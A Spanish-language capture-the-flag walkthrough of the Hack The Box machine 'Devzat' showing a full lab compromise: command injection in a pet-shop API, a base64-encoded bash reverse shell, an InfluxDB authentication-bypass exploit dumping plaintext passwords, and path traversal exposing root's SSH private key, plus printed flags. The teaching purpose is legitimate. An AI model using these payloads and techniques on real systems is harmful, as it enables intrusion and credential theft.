Devzat
16 minutos de lectura
- SO: Linux
- Dificultad: Media
- Dirección IP: 10.10.11.118
- Fecha: 16 / 10 / 2021
Escaneo de puertos
# Nmap 7.92 scan initiated as: nmap -sC -sV -o nmap/targeted 10.10.11.118 -p 22,80,8000
Nmap scan report for 10.10.11.118
Host is up (0.034s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 c2:5f:fb:de:32:ff:44:bf:08:f5:ca:49:d4:42:1a:06 (RSA)
|_ 256 62:ef:72:52:4f:19:53:8b:f2:9b:be:46:88:4b:c3:d0 (ED25519)
80/tcp open http Apache httpd 2.4.41
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: devzat - where the devs at
8000/tcp open ssh (protocol 2.0)
| ssh-hostkey:
|_ 3072 6a:ee:db:90:a6:10:30:9f:94:ff:bf:61:95:2a:20:63 (RSA)
| fingerprint-strings:
| NULL:
|_ SSH-2.0-Go
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done -- 1 IP address (1 host up) scanned in 37.59 seconds
La máquina tiene abiertos los puertos 22 (SSH), 80 (HTTP) y 8000 (SSH).
Enumeración
Para empezar, podemos leer el contenido de la página web (entrando a la dirección IP directamente redirige a devzat.htb
), que es la siguiente:
Han desarrollado un chat sobre SSH. Para utilizarlo, es necesario poner el siguiente comando:
Explorando el chat sobre SSH
Después de probar el chat, descubrimos que existen comandos en el propio chat:
$ ssh -l asdf devzat.htb -p 8000
Welcome to the chat. There are no more users
devbot: asdf has joined the chat
asdf: /help
[SYSTEM] Welcome to Devzat! Devzat is chat over SSH: github.com/quackduck/devzat
[SYSTEM] Because there's SSH apps on all platforms, even on mobile, you can join from anywhere.
[SYSTEM]
[SYSTEM] Interesting features:
[SYSTEM] • Many, many commands. Run /commands.
[SYSTEM] • Rooms! Run /room to see all rooms and use /room #foo to join a new room.
[SYSTEM] • Markdown support! Tables, headers, italics and everything. Just use in place of newlines.
[SYSTEM] • Code syntax highlighting. Use Markdown fences to send code. Run /example-code to see an example.
[SYSTEM] • Direct messages! Send a quick DM using =user <msg> or stay in DMs by running /room @user.
[SYSTEM] • Timezone support, use /tz Continent/City to set your timezone.
[SYSTEM] • Built in Tic Tac Toe and Hangman! Run /tic or /hang <word> to start new games.
[SYSTEM] • Emoji replacements! (like on Slack and Discord)
[SYSTEM]
[SYSTEM] For replacing newlines, I often use bulkseotools.com/add-remove-line-breaks.php.
[SYSTEM]
[SYSTEM] Made by Ishan Goel with feature ideas from friends.
[SYSTEM] Thanks to Caleb Denio for lending his server!
[SYSTEM]
[SYSTEM] For a list of commands run
[SYSTEM] ┃ /commands
asdf: /commands
[SYSTEM] Commands
[SYSTEM] clear - Clears your terminal
[SYSTEM] message - Sends a private message to someone
[SYSTEM] users - Gets a list of the active users
[SYSTEM] all - Gets a list of all users who has ever connected
[SYSTEM] exit - Kicks you out of the chat incase your client was bugged
[SYSTEM] bell - Toggles notifications when you get pinged
[SYSTEM] room - Changes which room you are currently in
[SYSTEM] id - Gets the hashed IP of the user
[SYSTEM] commands - Get a list of commands
[SYSTEM] nick - Change your display name
[SYSTEM] color - Change your display name color
[SYSTEM] timezone - Change how you view time
[SYSTEM] emojis - Get a list of emojis you can use
[SYSTEM] help - Get generic info about the server
[SYSTEM] tictactoe - Play tictactoe
[SYSTEM] hangman - Play hangman
[SYSTEM] shrug - Drops a shrug emoji
[SYSTEM] ascii-art - Bob ross with text
[SYSTEM] example-code - Hello world!
Se está utilizando Markdown para dar formato a los mensajes. Como curiosidad, podemos recibir una conexión a nuestra máquina escribiendo la sintaxis para una imagen y apuntando a nuestro servidor:
![](http://10.10.17.44)
$ nc -nlvp 80
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::80
Ncat: Listening on 0.0.0.0:80
Ncat: Connection from 10.10.11.118.
Ncat: Connection from 10.10.11.118:52632.
GET / HTTP/1.1
Host: 10.10.17.44
User-Agent: Go-http-client/1.1
Accept-Encoding: gzip
La única información que proporciona esta conexión es que el chat está desarrollado con Go.
Después de probar payloads de inyección de comandos y tratar de escapar del contexto de SSH, podemos asumir que el chat es seguro y que no hay ninguna vulnerabilidad clara.
Buscando subdominios
La página principal (devzat.htb
) solamente contiene información sobre el chat de SSH. Teniendo en cuenta que el servidor Apache redirige a devzat.htb
(como virtual host), entonces probablemente exista algún otro virtual host. Podemos buscar subdominios utilizando ffuf
sobre la cabecera Host
de las peticiones HTTP:
$ ffuf -w $WORDLISTS/dirbuster/directory-list-lowercase-2.3-medium.txt -u http://10.10.11.118 -H 'Host: FUZZ.devzat.htb' -fc 302
pets [Status: 200, Size: 510, Words: 20, Lines: 21]
Y obtenemos que pets.devzat.htb
es un subdominio válido:
Aquí se puede encontrar una lista de animales con su nombre, su especie y una descripción de la especie correspondiente. Existe una opción para añadir un nuevo animal usando el siguiente formulario:
Acceso a la máquina
La petición POST se realiza mediante JavaScript (Svelte) usando AJAX. Si inspeccionamos la petición con las herramientas de desarrollador del navegador, podemos construir una petición equivalente con curl
:
$ curl pets.devzat.htb/api/pet -d '{"name":"asdf","species":"cat"}'
Pet was added successfully
Abusando de una inyección de comandos
Hasta aquí, ya no hay mucho más que hacer. Por tanto, podemos intentar a inyectar comandos en ambos campos (name
y species
), y finalmente vemos que el campo species
es vulnerable:
$ curl pets.devzat.htb/api/pet -d '{"name":"asdf","species":"`curl 10.10.17.44`"}'
Pet was added successfully
$ nc -nlvp 80
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::80
Ncat: Listening on 0.0.0.0:80
Ncat: Connection from 10.10.11.118.
Ncat: Connection from 10.10.11.118:58916.
GET / HTTP/1.1
Host: 10.10.17.44
User-Agent: curl/7.68.0
Accept: */*
Por tanto, podemos utilizar la inyección de comandos para obtener ejecución remota de comandos (RCE) y entrar a la máquina (utilizando nc
):
$ echo -n 'bash -i >& /dev/tcp/10.10.17.44/4444 0>&1' | base64
YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTcuNDQvNDQ0NCAwPiYx
$ curl pets.devzat.htb/api/pet -d '{"name":"asdf","species":"`echo YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTcuNDQvNDQ0NCAwPiYx | base64 -d | bash`"}'
$ nc -nlvp 4444
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.10.11.118.
Ncat: Connection from 10.10.11.118:53090.
bash: cannot set terminal process group (931): Inappropriate ioctl for device
bash: no job control in this shell
patrick@devzat:~/pets$ script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
patrick@devzat:~/pets$ ^Z
zsh: suspended ncat -nlvp 4444
$ stty raw -echo; fg
[1] + continued ncat -nlvp 4444
reset xterm
patrick@devzat:~/pets$ export TERM=xterm
patrick@devzat:~/pets$ export SHELL=bash
patrick@devzat:~/pets$ stty rows 50 columns 158
Enumeración del sistema
Hemos conseguido entrar a la máquina como usuario patrick
:
patrick@devzat:~/pets$ ls /home
catherine patrick
Existe otro usuario a nivel de sistema llamado catherine
,
Podemos listar los puertos abiertos utilizando netstat
(mostrará también puertos internos que no son reportados por nmap
):
patrick@devzat:~/pets$ netstat -nat | grep LISTEN
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:8086 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:8443 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:5000 0.0.0.0:* LISTEN
tcp6 0 0 :::80 :::* LISTEN
tcp6 0 0 :::22 :::* LISTEN
tcp6 0 0 :::8000 :::* LISTEN
Otra manera de enumerar puertos internos abiertos es leer del archivo /proc/net/tcp
y traducir los puertos de hexadecimal a decimal utilizando un poco de shell scripting:
patrick@devzat:~/pets$ for p in $(cat /proc/net/tcp | grep -v sl | awk '{print $2}' | awk -F : '{print $2}' | sort -u); do echo "ibase=16; $p" | bc; done
22
53
5000
8086
8443
42582
51994
55686
Tenemos que los puertos 8086 y 8443 están abiertos pero no expuestos, ya que nmap
no los reportó como abiertos.
Enumerando los procesos en ejecución, descubrimos que existe un contenedor de Docker que tiene el puerto 8086 abierto y contiene InfluxDB:
patrick@devzat:~/pets$ ps -faux | grep root
...
root 997 0.0 0.2 8880 4740 ? Ss 08:37 0:01 /usr/sbin/apache2 -k start
root 1020 0.0 4.5 946772 91900 ? Ssl 08:37 0:04 /usr/bin/dockerd -H fd:// --containerd=/run/containerd/containerd.sock
root 1238 0.0 0.1 475324 3880 ? Sl 08:37 0:00 \_ /usr/bin/docker-proxy -proto tcp -host-ip 127.0.0.1 -host-port 8086 -container-ip 172.17.0.2 -container-port 8086
root 1271 0.0 0.3 113372 7940 ? Sl 08:37 0:01 /usr/bin/containerd-shim-runc-v2 -namespace moby -id 0962e39dbfea62142f5f9e796a0fa5bd6df0c14a31f3786e03b720ea158cf462 -address /run/containerd/containerd.sock
root 1296 0.1 2.8 554212 57816 ? Ssl 08:37 0:29 \_ influxd
root 9672 0.0 0.4 249544 9628 ? Ssl 09:14 0:00 /usr/lib/upower/upowerd
Por otro lado, podemos encontrar uns archivos ZIP pertenecientes al usuario catherine
, y vemos que no tenemos permisos sobre esos archivos:
patrick@devzat:~/pets$ find / -user catherine 2>/dev/null | grep -v home | xargs ls -l
-rw------- 1 catherine catherine 28297 Jul 16 2021 /var/backups/devzat-dev.zip
-rw------- 1 catherine catherine 27567 Jul 16 2021 /var/backups/devzat-main.zip
Movimiento lateral al usuario catherine
Además, podemos buscar recursivamente por el texto catherine
en los archivos de patrick
, y obtenemos un código en Go interesante:
patrick@devzat:~/pets$ cd
patrick@devzat:~$ grep -nri catherine .
Binary file ./devzat/devchat matches
./devzat/devchat.go:273: for possibleName == "patrick" || possibleName == "admin" || possibleName == "catherine" {
./devzat/devchat.go:302: } else if strings.ToLower(u.name) == "catherine" {
./devzat/devchat.go:303: u.writeln("patrick", "Hey Catherine, glad you came.")
./devzat/devchat.go:304: u.writeln("catherine", "Hey bud, what are you up to?")
./devzat/devchat.go:306: u.writeln("catherine", "Sure")
./devzat/devchat.go:308: u.writeln("catherine", "Kinda busy right now :necktie:")
./devzat/devchat.go:310: u.writeln("catherine", "k")
./devzat/devchat.go:312: u.writeln("catherine", "Fine. As soon as the boss let me off the leash I will check it out.")
Binary file ./.cache/go-build/f1/f10fd574fd735d6eff3807c126e13ddbd8a5968e6c6c9f77c7f0026c370c81df-d matches
Binary file ./.cache/go-build/70/70092305916ce0b492b14dafb1c95707ce96d17aaadf07c619cb526bf1b24b7f-d matches
Binary file ./pets/petshop matches
./pets/go.mod:1:module git.devzat.htb/catherine/petshop
Este archivo devchat.go
contiene mensajes antiguos (tal vez como recordatorio) de los usuarios admin
, patrick
y catherine
(utilizando el chat sobre SSH):
// ...
if strings.ToLower(u.name) == "patrick" {
u.writeln("admin", "Hey patrick, you there?")
u.writeln("patrick", "Sure, shoot boss!")
u.writeln("admin", "So I setup the influxdb for you as we discussed earlier in business meeting.")
u.writeln("patrick", "Cool :thumbs_up:")
u.writeln("admin", "Be sure to check it out and see if it works for you, will ya?")
u.writeln("patrick", "Yes, sure. Am on it!")
u.writeln("devbot", "admin has left the chat")
} else if strings.ToLower(u.name) == "admin" {
u.writeln("admin", "Hey patrick, you there?")
u.writeln("patrick", "Sure, shoot boss!")
u.writeln("admin", "So I setup the influxdb for you as we discussed earlier in business meeting.")
u.writeln("patrick", "Cool :thumbs_up:")
u.writeln("admin", "Be sure to check it out and see if it works for you, will ya?")
u.writeln("patrick", "Yes, sure. Am on it!")
} else if strings.ToLower(u.name) == "catherine" {
u.writeln("patrick", "Hey Catherine, glad you came.")
u.writeln("catherine", "Hey bud, what are you up to?")
u.writeln("patrick", "Remember the cool new feature we talked about the other day?")
u.writeln("catherine", "Sure")
u.writeln("patrick", "I implemented it. If you want to check it out you could connect to the local dev instance on port 8443.")
u.writeln("catherine", "Kinda busy right now :necktie:")
u.writeln("patrick", "That's perfectly fine :thumbs_up: You'll need a password I gave you last time.")
u.writeln("catherine", "Ok")
u.writeln("patrick", "I left the source for your review in backups.")
u.writeln("catherine", "Fine. As soon as the boss let me off the leash I will check it out.")
u.writeln("patrick", "Cool. I am very curious what you think of it. See ya!")
u.writeln("devbot", "patrick has left the chat")
}
// ...
Según esto, podemos confirmar que los siguientes pasos serán: analizar el servicio de InfluxDB y encontrar algo que nos permita acceder a la máquina como catherine
, y entonces descomprimir los archivos ZIP.
CVE en InfluxDB
InfluxDB es una base de datos escrita en Go que expone una API HTTP en el puerto 8086 (por defecto). Según la documentación oficial, podemos interactuar con InfluxDB mediante línea de comandos (influx
) o con curl
directamente.
Podemos transferir el binario de influx
para probar a conectarnos:
patrick@devzat:~$ cd /tmp
patrick@devzat:/tmp$ curl 10.10.17.44/influx -so influ
patrick@devzat:/tmp$ chmod +x influx
patrick@devzat:/tmp$ alias influx=/tmp/influx
Se utiliza un alias
para poder utilizar influx
como si fuera un comando a nivel de sistema. Sin embargo, influx
no funciona. Parece que no está reconociendo la instancia de InfluxDB, o quizás hay algún problema con la autenticación:
patrick@devzat:/tmp$ influx version
Influx CLI 2.0.9 (git: d1233b7951) build_date: 2021-10-01T21:09:53Z
patrick@devzat:/tmp$ influx ping
Error: Got 404 from 'http://localhost:8086/health'.
Error: 404 page not found.
See 'influx ping -h' for help
patrick@devzat:~$ influx query
Error: Must specify org-id, or org name.
Error: 404 page not found.
See 'influx query -h' for help
patrick@devzat:~$ influx setup -o asdf -t 1234
Error: failed to determine if instance has been configured: 404 page not found
See 'influx setup -h' for help
Después de esto, podemos probar con curl
, usando la dirección IP local o la dirección IP del contenedor de Docker, pero sigue sin funcionar:
patrick@devzat:~$ curl http://localhost:8086
404 page not found
patrick@devzat:~$ curl http://localhost:8086/
404 page not found
patrick@devzat:~$ curl http://localhost:8086/api/v2/setup
404 page not found
patrick@devzat:~$ curl http://172.17.0.2:8086/api/v2/setup
404 page not found
patrick@devzat:~$ curl http://172.17.0.2:8086/api/v1/setup
404 page not found
patrick@devzat:~$ curl http://172.17.0.2:8086/api/v1
404 page not found
patrick@devzat:~$ curl http://172.17.0.2:8086/api/v2
404 page not found
patrick@devzat:~$ curl http://172.17.0.2:8086/api/v2/users
404 page not found
patrick@devzat:~$ curl http://172.17.0.2:8086/api/v2/query
Method Not Allowed
patrick@devzat:~$ curl -XPOST http://172.17.0.2:8086/api/v2/query
Flux query service disabled. Verify flux-enabled=true in the [http] section of the InfluxDB config.
patrick@devzat:~$ curl -XPOST http://172.17.0.2:8086/api/v2/write
404 page not found
Después de investigar sobre las vulnerabilidades de InfluxDB, encontramos un exploit para el CVE-2019-20933. Se trata de un script en Python que realiza un ataque de fuerza bruta sobre el nombre de usuario y después proporciona una conexión a la base de datos de InfluxDB.
Después de transferirlo a la máquina (y quitarle algunas dependencias que no eran necesarias), podemos ver el contenido de la base de datos. Para ello, se ha utilizado una chuleta de comandos de InfluxDB.
patrick@devzat:/tmp$ curl 10.10.17.44/__main__.py -so x.py
patrick@devzat:/tmp$ cat > wordlist
patrick
admin
catherine
devzat
^C
patrick@devzat:/tmp$ python3 x.py
Insert ip host (default localhost):
Insert port (default 8086):
Insert influxdb user (wordlist path to bruteforce username): ./wordlist
Start username bruteforce
[x] patrick
[v] admin
Host vulnerable !!!
Databases list:
1) devzat
2) _internal
Insert database name (exit to close): devzat
[devzat] Insert query (exit to change db): SHOW MEASUREMENTS
{
"results": [
{
"series": [
{
"columns": [
"name"
],
"name": "measurements",
"values": [
[
"user"
]
]
}
],
"statement_id": 0
}
]
}
[devzat] Insert query (exit to change db): SHOW FIELD KEYS FROM "user"
{
"results": [
{
"series": [
{
"columns": [
"fieldKey",
"fieldType"
],
"name": "user",
"values": [
[
"enabled",
"boolean"
],
[
"password",
"string"
],
[
"username",
"string"
]
]
}
],
"statement_id": 0
}
]
}
[devzat] Insert query (exit to change db): SELECT * FROM "user"
{
"results": [
{
"series": [
{
"columns": [
"time",
"enabled",
"password",
"username"
],
"name": "user",
"values": [
[
"2021-06-22T20:04:16.313965493Z",
false,
"WillyWonka2021",
"wilhelm"
],
[
"2021-06-22T20:04:16.320782034Z",
true,
"woBeeYareedahc7Oogeephies7Aiseci",
"catherine"
],
[
"2021-06-22T20:04:16.996682002Z",
true,
"RoyalQueenBee$",
"charles"
]
]
}
],
"statement_id": 0
}
]
}
Y obtenemos algunas contraseñas. Ahora podemos tratar de acceder con credenciales catherine:woBeeYareedahc7Oogeephies7Aiseci
.
Después de escribir la contraseña, podemos leer la flag user.txt
:
patrick@devzat:/tmp$ su catherine
Password:
catherine@devzat:/tmp$ cd
catherine@devzat:~$ cat user.txt
67a4643d026d2adced0fd951ea2eb5a9
Ahora que estamos como catherine
, podemos ver si tenemos permisos de sudo
:
catherine@devzat:~$ sudo -l
[sudo] password for catherine:
Sorry, user catherine may not run sudo on devzat.
Escalada de privilegios
Podemos recordar que existían dos archivos ZIP de catherine
con dos versiones del chat sobre SSH:
catherine@devzat:~$ cd /var/backups/
catherine@devzat:/var/backups$ ll
total 1128
drwxr-xr-x 2 root root 4096 Mar 9 06:25 ./
drwxr-xr-x 14 root root 4096 Jun 22 2021 ../
-rw-r--r-- 1 root root 51200 Mar 9 06:25 alternatives.tar.0
-rw-r--r-- 1 root root 59142 Sep 28 18:45 apt.extended_states.0
-rw-r--r-- 1 root root 6588 Sep 21 20:17 apt.extended_states.1.gz
-rw-r--r-- 1 root root 6602 Jul 16 2021 apt.extended_states.2.gz
-rw------- 1 catherine catherine 28297 Jul 16 2021 devzat-dev.zip
-rw------- 1 catherine catherine 27567 Jul 16 2021 devzat-main.zip
-rw-r--r-- 1 root root 268 Sep 29 11:46 dpkg.diversions.0
-rw-r--r-- 1 root root 170 Jul 16 2021 dpkg.statoverride.0
-rw-r--r-- 1 root root 949034 Jan 26 14:52 dpkg.status.0
catherine@devzat:/var/backups$ python3 -m http.server 7000
Serving HTTP on 0.0.0.0 port 7000 (http://0.0.0.0:7000/) ...
Podemos transferir los archivos a nuestra máquina abriendo un servidor web con Python en el puerto 7000:
$ wget -q devzat.htb:7000/devzat-{main,dev}.zip
catherine@devzat:/var/backups$ python3 -m http.server 7000
Serving HTTP on 0.0.0.0 port 7000 (http://0.0.0.0:7000/) ...
10.10.17.44 - - [] "GET /devzat-main.zip HTTP/1.1" 200 -
10.10.17.44 - - [] "GET /devzat-dev.zip HTTP/1.1" 200 -
^C
Keyboard interrupt received, exiting.
Y después descomprimirlos:
$ unzip devzat-dev.zip
Archive: devzat-dev.zip
creating: dev/
inflating: dev/go.mod
extracting: dev/.gitignore
inflating: dev/util.go
inflating: dev/testfile.txt
inflating: dev/eastereggs.go
inflating: dev/README.md
inflating: dev/games.go
inflating: dev/colors.go
extracting: dev/log.txt
inflating: dev/commands.go
inflating: dev/start.sh
inflating: dev/devchat.go
inflating: dev/LICENSE
inflating: dev/commandhandler.go
inflating: dev/art.txt
inflating: dev/go.sum
extracting: dev/allusers.json
$ unzip devzat-main.zip
Archive: devzat-main.zip
creating: main/
inflating: main/go.mod
extracting: main/.gitignore
inflating: main/util.go
inflating: main/eastereggs.go
inflating: main/README.md
inflating: main/games.go
inflating: main/colors.go
extracting: main/log.txt
inflating: main/commands.go
inflating: main/start.sh
inflating: main/devchat.go
inflating: main/LICENSE
inflating: main/commandhandler.go
inflating: main/art.txt
inflating: main/go.sum
inflating: main/allusers.json
Analizando las nuevas funcionalidades del chat
Ahora que tenemos las dos carpetas, podemos utilizar diff
para ver las diferencias entre los proyectos:
$ diff main dev
diff main/allusers.json dev/allusers.json
1,3c1
< {
< "eff8e7ca506627fe15dda5e0e512fcaad70b6d520f37cc76597fdb4f2d83a1a3": "\u001b[38;5;214mtest\u001b[39m"
< }
---
> {}
diff main/commands.go dev/commands.go
3a4
> "bufio"
4a6,7
> "os"
> "path/filepath"
36a40
> file = commandInfo{"file", "Paste a files content directly to chat [alpha]", fileCommand, 1, false, nil}
38c42,101
< commands = []commandInfo{clear, message, users, all, exit, bell, room, kick, id, _commands, nick, color, timezone, emojis, help, tictactoe, hangman, shrug, asciiArt, exampleCode}
---
> commands = []commandInfo{clear, message, users, all, exit, bell, room, kick, id, _commands, nick, color, timezone, emojis, help, tictactoe, hangman, shrug, asciiArt, exampleCode, file}
> }
>
> func fileCommand(u *user, args []string) {
> if len(args) < 1 {
> u.system("Please provide file to print and the password")
> return
> }
>
> if len(args) < 2 {
> u.system("You need to provide the correct password to use this function")
> return
> }
>
> path := args[0]
> pass := args[1]
>
> // Check my secure password
> if pass != "CeilingCatStillAThingIn2021?" {
> u.system("You did provide the wrong password")
> return
> }
>
> // Get CWD
> cwd, err := os.Getwd()
> if err != nil {
> u.system(err.Error())
> }
>
> // Construct path to print
> printPath := filepath.Join(cwd, path)
>
> // Check if file exists
> if _, err := os.Stat(printPath); err == nil {
> // exists, print
> file, err := os.Open(printPath)
> if err != nil {
> u.system(fmt.Sprintf("Something went wrong opening the file: %+v", err.Error()))
> return
> }
> defer file.Close()
>
> scanner := bufio.NewScanner(file)
> for scanner.Scan() {
> u.system(scanner.Text())
> }
>
> if err := scanner.Err(); err != nil {
> u.system(fmt.Sprintf("Something went wrong printing the file: %+v", err.Error()))
> }
>
> return
>
> } else if os.IsNotExist(err) {
> // does not exist, print error
> u.system(fmt.Sprintf("The requested file @ %+v does not exist!", printPath))
> return
> }
> // bokred?
> u.system("Something went badly wrong.")
diff main/devchat.go dev/devchat.go
27c27
< port = 8000
---
> port = 8443
114c114
< fmt.Sprintf(":%d", port),
---
> fmt.Sprintf("127.0.0.1:%d", port),
Only in dev: testfile.txt
Parece que la nueva funcionalidad del chat permite mostrar el contenido de un archivo dado desde el directorio de trabajo actual. Para ejecutar el comando, hay que usar la contraseña CeilingCatStillAThingIn2021?
.
Otra diferencia es que el chat de desarrollo está en el puerto 8443, de manera interna.
Obteniendo la clave privada SSH de root
Primero, podemos tratar de cargar el archivo /tmp/wordlist
, creado anteriormente:
catherine@devzat:/var/backups$ ssh -l asdf 127.0.0.1 -p 8443
Welcome to the chat. There are no more users
devbot: asdf has joined the chat
asdf: /file
[SYSTEM] Please provide file to print and the password
asdf: /file /tmp/wordlist CeilingCatStillAThingIn2021?
[SYSTEM] The requested file @ /root/devzat/tmp/wordlist does not exist!
Podemos ver que /tmp/wordlist
se concatena con /root/devzat
. Esto nos indica que el chat lo está ejecutando root
, y que por tanto tenemos permisos de lectura.
Para ganar acceso como root
, podemos leer la clave privada de SSH utilizando una navegación de directorios (es decir, poner ../.ssh/id_rsa
como archivo, de manera que el archivo solicitado es /root/devzat/../.ssh/id_rsa
, que es equivalente a /root/.ssh/id_rsa
):
asdf: /file ../.ssh/id_rsa CeilingCatStillAThingIn2021?
[SYSTEM] -----BEGIN OPENSSH PRIVATE KEY-----
[SYSTEM] b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
[SYSTEM] QyNTUxOQAAACDfr/J5xYHImnVIIQqUKJs+7ENHpMO2cyDibvRZ/rbCqAAAAJiUCzUclAs1
[SYSTEM] HAAAAAtzc2gtZWQyNTUxOQAAACDfr/J5xYHImnVIIQqUKJs+7ENHpMO2cyDibvRZ/rbCqA
[SYSTEM] AAAECtFKzlEg5E6446RxdDKxslb4Cmd2fsqfPPOffYNOP20d+v8nnFgciadUghCpQomz7s
[SYSTEM] Q0ekw7ZzIOJu9Fn+tsKoAAAAD3Jvb3RAZGV2emF0Lmh0YgECAwQFBg==
[SYSTEM] -----END OPENSSH PRIVATE KEY-----
Finalmente, guardamos la clave y nos conectamos como root
por SSH (sin necesidad de utilizar contraseña). Con esto, ya podemos obtener la flag root.txt
:
$ chmod 600 id_rsa
$ ssh -i id_rsa root@devzat.htb
root@devzat:~# cat root.txt
e165e399c6a2c920a406997193f68a43